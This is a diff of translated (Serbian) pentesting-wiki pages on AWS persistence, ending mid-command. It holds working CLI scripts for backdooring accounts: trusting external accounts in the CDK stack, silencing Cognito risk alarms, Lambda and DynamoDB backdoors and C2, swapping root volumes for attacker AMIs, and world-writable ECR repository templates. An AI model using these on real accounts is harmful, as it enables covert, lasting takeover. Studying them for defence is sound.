Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Za više informacija idite na:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Resource Policy
-
-Izmenite politiku resursa API gateway-a kako biste sebi omogućili pristup.
-
-### Modify Lambda Authorizers
-
-Izmenite kod lambda autorizatora kako biste sebi omogućili pristup svim krajnjim tačkama.\
-Ili jednostavno uklonite korišćenje autorizatora.
-
-### IAM Permissions
-
-Ako resurs koristi IAM autorizator, možete sebi omogućiti pristup izmenom IAM dozvola.\
-Ili jednostavno uklonite korišćenje autorizatora.
-
-### API Keys
-
-Ako se koriste API ključevi, možete ih procuriti kako biste održali postojanost ili čak kreirati nove.\
-Ili jednostavno uklonite korišćenje API ključeva.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Resource Policy
+
+Izmenite resource policy API gateway(s) da biste sebi omogućili pristup.
+
+### Modify Lambda Authorizers
+
+Izmenite kod lambda authorizers da biste sebi omogućili pristup svim endpoint-ima.\
+Ili jednostavno uklonite korišćenje authorizera.
+
+### IAM Permissions
+
+Ako resurs koristi IAM authorizer, možete sebi omogućiti pristup izmenom IAM permissions.\
+Ili jednostavno uklonite korišćenje authorizera.
+
+### API Keys
+
+Ako se koriste API keys, možete ih leak-ovati da biste održali persistence ili čak kreirali nove.\
+Ili jednostavno uklonite korišćenje API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Za više informacija, pristupite:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-AWS CDK implementira CFN stack nazvan `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da implementiraju CDK projekte u nalog žrtve. Napadač može da iskoristi ovo da sebi obezbedi neograničen pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovnu implementaciju stack-a sa parametrima, ili AWS CDK cli.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+AWS CDK raspoređuje CFN stack pod nazivom `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da raspoređuju CDK projekte u nalog žrtve. Napadač može zloupotrebiti ovo kako bi sebi obezbedio trajan pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovno raspoređivanje stack-a sa parametrima, bilo korišćenjem AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Za više informacija, pristupite:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Održavanje korisnika
-
-Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i kontrolu direktorijuma korisnika. Nekoliko različitih konfiguracija može biti izmenjeno kako bi se održala neka postojanost, kao što su:
-
-- **Dodavanje User Pool-a** koji kontroliše korisnik u Identity Pool
-- Dodeljivanje **IAM uloge neautentifikovanom Identity Pool-u i omogućavanje Basic auth toka**
-- Ili **autentifikovanom Identity Pool-u** ako napadač može da se prijavi
-- Ili **poboljšanje dozvola** datih uloga
-- **Kreiranje, verifikacija & privesc** putem atributima kontrolisanih korisnika ili novih korisnika u **User Pool-u**
-- **Omogućavanje eksternim Identity Provider-ima** da se prijave u User Pool ili u Identity Pool
-
-Proverite kako da izvršite ove radnje u
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Napadač sa ovom privilegijom mogao bi da izmeni konfiguraciju rizika kako bi mogao da se prijavi kao Cognito korisnik **bez aktiviranja alarma**. [**Proverite cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Podrazumevano je ovo onemogućeno:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+For more information, access:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Perzistencija korisnika
+
+Cognito je servis koji omogućava dodeljivanje uloga neautentifikovanim i autentifikovanim korisnicima i upravljanje direktorijumom korisnika. Više različitih konfiguracija može se promeniti da bi se održala perzistencija, na primer:
+
+- **Dodavanje a User Pool** koji je pod kontrolom korisnika u Identity Pool
+- Dodeliti **IAM role** neautentifikovanom Identity Pool-u i omogućiti Basic auth flow
+- Ili u **authenticated Identity Pool** ako napadač može da se prijavi
+- Ili **povećati dozvole** dodeljenim ulogama
+- **Create, verify & privesc** preko atributa kontrolisanih korisnika ili novih korisnika u **User Pool**
+- **Allowing external Identity Providers** da se prijave u User Pool ili u Identity Pool
+
+Check how to do these actions in
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Napadač sa ovom privilegijom može izmeniti konfiguraciju rizika kako bi se mogao prijaviti kao Cognito korisnik **bez aktiviranja alarma**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) da biste proverili sve opcije:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Podrazumevano je ovo onemogućeno:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Persistencija
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### DynamoDB
 
 Za više informacija pristupite:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
-### DynamoDB Okidači sa Lambda Backdoor-om
+### DynamoDB okidači sa Lambda backdoor
 
-Korišćenjem DynamoDB okidača, napadač može kreirati **neprimetan backdoor** povezivanjem maliciozne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga.
+Koristeći DynamoDB okidače, napadač može kreirati **neprimetan backdoor** povezivanjem zlonamerne Lambda funkcije sa tabelom. Lambda funkcija može biti okinuta kada se stavka doda, izmeni ili obriše, omogućavajući napadaču da izvrši proizvoljan kod unutar AWS naloga.
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
 --event-source <STREAM_ARN> \
 --region <region>
 ```
-Da bi održao persistenciju, napadač može da kreira ili modifikuje stavke u DynamoDB tabeli, što će pokrenuti zlonamernu Lambda funkciju. Ovo omogućava napadaču da izvrši kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
+Da bi održao pristup, napadač može da kreira ili izmeni stavke u DynamoDB tabeli, što će pokrenuti malicioznu Lambda funkciju. Ovo omogućava napadaču da izvršava kod unutar AWS naloga bez direktne interakcije sa Lambda funkcijom.
 
-### DynamoDB kao C2 kanal
+### DynamoDB as a C2 Channel
 
-Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** kreiranjem stavki koje sadrže komande i korišćenjem kompromitovanih instanci ili Lambda funkcija za preuzimanje i izvršavanje ovih komandi.
+Napadač može koristiti DynamoDB tabelu kao **command and control (C2) channel** tako što će kreirati stavke koje sadrže komande i koristiti kompromitovane instance ili Lambda functions da preuzmu i izvrše te komande.
 ```bash
 # Create a DynamoDB table for C2
 aws dynamodb create-table \
@@ -54,6 +54,6 @@ aws dynamodb put-item \
 --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
 --region <region>
 ```
-Kompromitovane instance ili Lambda funkcije mogu periodično proveravati C2 tabelu za nove komande, izvršavati ih i po potrebi izveštavati o rezultatima nazad u tabelu. Ovo omogućava napadaču da održi postojanost i kontrolu nad kompromitovanim resursima.
+Kompromitovane instances ili Lambda functions mogu periodično proveravati C2 table za nove komande, izvršavati ih i opciono prijavljivati rezultate nazad u tabelu. Ovo omogućava napadaču da održi perzistenciju i kontrolu nad kompromitovanim resursima.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Za više informacija proverite:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Praćenje veze sigurnosne grupe
-
-Ako odbrambeni sistem otkrije da je **EC2 instanca kompromitovana**, verovatno će pokušati da **izoluje** **mrežu** mašine. To može učiniti sa eksplicitnim **Deny NACL** (ali NACL-ovi utiču na celu podmrežu), ili **promenom sigurnosne grupe** koja ne dozvoljava **nikakav ulazni ili izlazni** saobraćaj.
-
-Ako je napadač imao **obrnuti shell koji potiče sa mašine**, čak i ako je SG izmenjen da ne dozvoljava ulazni ili izlazni saobraćaj, **veza neće biti prekinuta zbog** [**Praćenja veze sigurnosne grupe**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Menadžer životnog ciklusa
-
-Ova usluga omogućava da se **zakazivanje** **kreiranja AMI-a i snimaka** i čak **deljenje sa drugim nalozima**.\
-Napadač bi mogao da konfiguriše **generisanje AMI-a ili snimaka** svih slika ili svih volumena **svake nedelje** i **podeli ih sa svojim nalogom**.
-
-### Zakazane instance
-
-Moguće je zakazati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao da pokrene mašinu sa visokim privilegijama ili zanimljivim pristupom gde bi mogao da pristupi.
-
-### Spot Fleet Zahtev
-
-Spot instance su **jeftinije** od redovnih instanci. Napadač bi mogao da pokrene **mali spot fleet zahtev za 5 godina** (na primer), sa **automatskom IP** dodelom i **korisničkim podacima** koji šalju napadaču **kada spot instanca počne** i **IP adresu** i sa **IAM ulogom visokih privilegija**.
-
-### Backdoor instance
-
-Napadač bi mogao da dobije pristup instancama i da ih backdoor-uje:
-
-- Koristeći tradicionalni **rootkit** na primer
-- Dodajući novu **javnu SSH ključ** (proverite [EC2 privesc opcije](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdoor-ovanje **Korisničkih podataka**
-
-### **Backdoor Konfiguracija pokretanja**
-
-- Backdoor-ovati korišćeni AMI
-- Backdoor-ovati Korisničke podatke
-- Backdoor-ovati Par ključeva
-
-### VPN
-
-Kreirati VPN tako da napadač može direktno da se poveže kroz njega sa VPC-om.
-
-### VPC Peering
-
-Kreirati peering vezu između VPC-a žrtve i VPC-a napadača kako bi mogao da pristupi VPC-u žrtve.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Ako defensor otkrije da je **EC2 instance was compromised** verovatno će pokušati da **isolate** **network** mašine. Može to uraditi eksplicitnim **Deny NACL**-om (ali NACLs utiču na ceo subnet), ili **changing the security group** tako da ne dozvoli **any kind of inbound or outbound** saobraćaj.
+
+Ako je napadač imao **reverse shell originated from the machine**, čak i ako je SG izmenjen da ne dozvoljava inbound ili outbound saobraćaj, veza se neće prekinuti zbog [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Ovaj servis dozvoljava da se **schedule** **creation of AMIs and snapshots** i čak **share them with other accounts**.\
+Napadač može konfigurисati **generation of AMIs or snapshots** svih image-ova ili svih volumena **every week** i **share them with his account**.
+
+### Scheduled Instances
+
+Moguće je schedule-ovati instance da se pokreću dnevno, nedeljno ili čak mesečno. Napadač bi mogao pokretati mašinu sa visokim privilegijama ili interesantnim pristupom gde bi mogao da pristupi.
+
+### Spot Fleet Request
+
+Spot instances su **cheaper** od regularnih instanci. Napadač može pokrenuti **small spot fleet request for 5 year** (na primer), sa **automatic IP** dodelom i **user data** koji šalje napadaču **when the spot instance start** i **IP address**, kao i sa **high privileged IAM role**.
+
+### Backdoor Instances
+
+Napadač može dobiti pristup instancama i backdoor-ovati ih:
+
+- Using a traditional **rootkit** for example
+- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring the **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Zameni root EBS volume pokrenute instance sa onim izgrađenim iz attacker-controlled AMI ili snapshot koristeći `CreateReplaceRootVolumeTask`. Instanca zadržava svoje ENIs, IPs i role, efektivno boota u maliciozni kod dok izgleda nepromenjeno.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Kreiraj VPN tako da napadač može direktno da se poveže kroz njega na VPC.
+
+### VPC Peering
+
+Kreiraj peering konekciju između victim VPC i attacker VPC tako da će moći pristupiti victim VPC.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite **ec2:CreateReplaceRootVolumeTask** da zamenite root EBS volumen pokrenute instance sa onim vraćenim iz AMI-ja ili snapshota koji kontroliše napadač. Instanca se automatski restartuje i nastavlja sa root fajl-sistemom pod kontrolom napadača, pri čemu su sačuvani ENIs, privatne/javne IP adrese, prikačeni non-root volumeni i instance metadata/IAM role.
+
+## Requirements
+- Ciljna instanca mora biti EBS-backed i pokrenuta u istom regionu.
+- Kompatibilan AMI ili snapshot: ista arhitektura/virtualizacija/boot mode (i product codes, ako postoje) kao ciljana instanca.
+
+## Pre-checks
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Zameni root iz AMI (preporučeno)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternativa korišćenjem snapshot-a:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Dokazi / Verifikacija
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Očekivano: ENI_ID i PRI_IP ostaju isti; ID root volumena menja se sa $ORIG_VOL na $NEW_VOL. Sistem se podiže sa datotečnim sistemom iz AMI/snapshot pod kontrolom napadača.
+
+## Napomene
+- API ne zahteva da ručno zaustavljate instancu; EC2 orkestrira ponovno pokretanje.
+- Podrazumevano, zamenjeni (stari) root EBS volume se odvaja i ostaje na nalogu (DeleteReplacedRootVolume=false). Ovo može da se iskoristi za vraćanje na prethodno stanje (rollback) ili mora biti izbrisan da biste izbegli troškove.
+
+## Povratak / Čišćenje
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Sakrivena Docker slika sa zloćudnim kodom
-
-Napadač bi mogao **da otpremi Docker sliku koja sadrži zloćudni kod** u ECR repozitorijum i koristi je za održavanje postojanosti u ciljanom AWS nalogu. Napadač bi zatim mogao da implementira zloćudnu sliku na razne usluge unutar naloga, kao što su Amazon ECS ili EKS, na diskretan način.
-
-### Politika repozitorijuma
-
-Dodajte politiku jednom repozitorijumu koja vam omogućava (ili svima) pristup repozitorijumu:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma.
-
-### Politika registra i replikacija između naloga
-
-Moguće je automatski replicirati registar u eksternom nalogu konfigurisanjem replikacije između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Prvo, treba da date eksternom nalogu pristup registru putem **politike registra** kao što je:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Zatim primenite konfiguraciju replikacije:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Skrivena Docker slika sa zlonamernim kodom
+
+Napadač može **uploadovati Docker image koji sadrži zlonamerni kod** u ECR repository i koristiti ga za održavanje persistence u ciljanom AWS nalogu. Napadač potom može deploy-ovati zlonamerni image na različite servise unutar naloga, kao što su Amazon ECS ili EKS, na prikriven način.
+
+### Politika repozitorijuma
+
+Dodajte politiku na pojedinačni repozitorijum koja vama (ili svima) dodeljuje pristup repozitorijumu:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API kroz IAM policy **pre nego što se mogu autentifikovati** na registry i push-ovati ili pull-ovati bilo koje slike iz bilo kog Amazon ECR repozitorijuma.
+
+### Politika registra i replikacija između naloga
+
+Moguće je automatski replicirati registar u eksternom nalogu podešavanjem cross-account replication, gde treba da **naznačite eksterni nalog** u koji želite da replicirate registar.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Prvo, potrebno je dati eksternom nalogu pristup registru pomoću **registry policy** kao:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Zatim primenite konfiguraciju replikacije:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefiks backdoor za buduće repos)
+
+Iskoristite ECR Repository Creation Templates da automatski ubacite backdoor u bilo koji repository koji ECR automatski kreira pod kontrolisanim prefiksom (na primer preko Pull-Through Cache ili Create-on-Push). Ovo omogućava trajni neovlašćeni pristup budućim repos bez diranja postojećih.
+
+- Potrebne dozvole: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
+- Uticaj: Bilo koji novi repository kreiran pod ciljnim prefiksom automatski nasleđuje repository policy pod kontrolom napadača (npr. cross-account read/write), podešavanja mutabilnosti tagova i podrazumevana podešavanja skeniranja.
+
+<details>
+<summary>Backdoor buduće PTC-created repos pod odabranim prefiksom</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
-# AWS - ECS Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Sakrivena Periodična ECS Zadatak
-
-> [!NOTE]
-> TODO: Test
-
-Napadač može kreirati sakriveni periodični ECS zadatak koristeći Amazon EventBridge da **zakazuje izvršenje zlonamernog zadatka periodično**. Ovaj zadatak može vršiti izviđanje, eksfiltrirati podatke ili održavati persistenciju u AWS nalogu.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
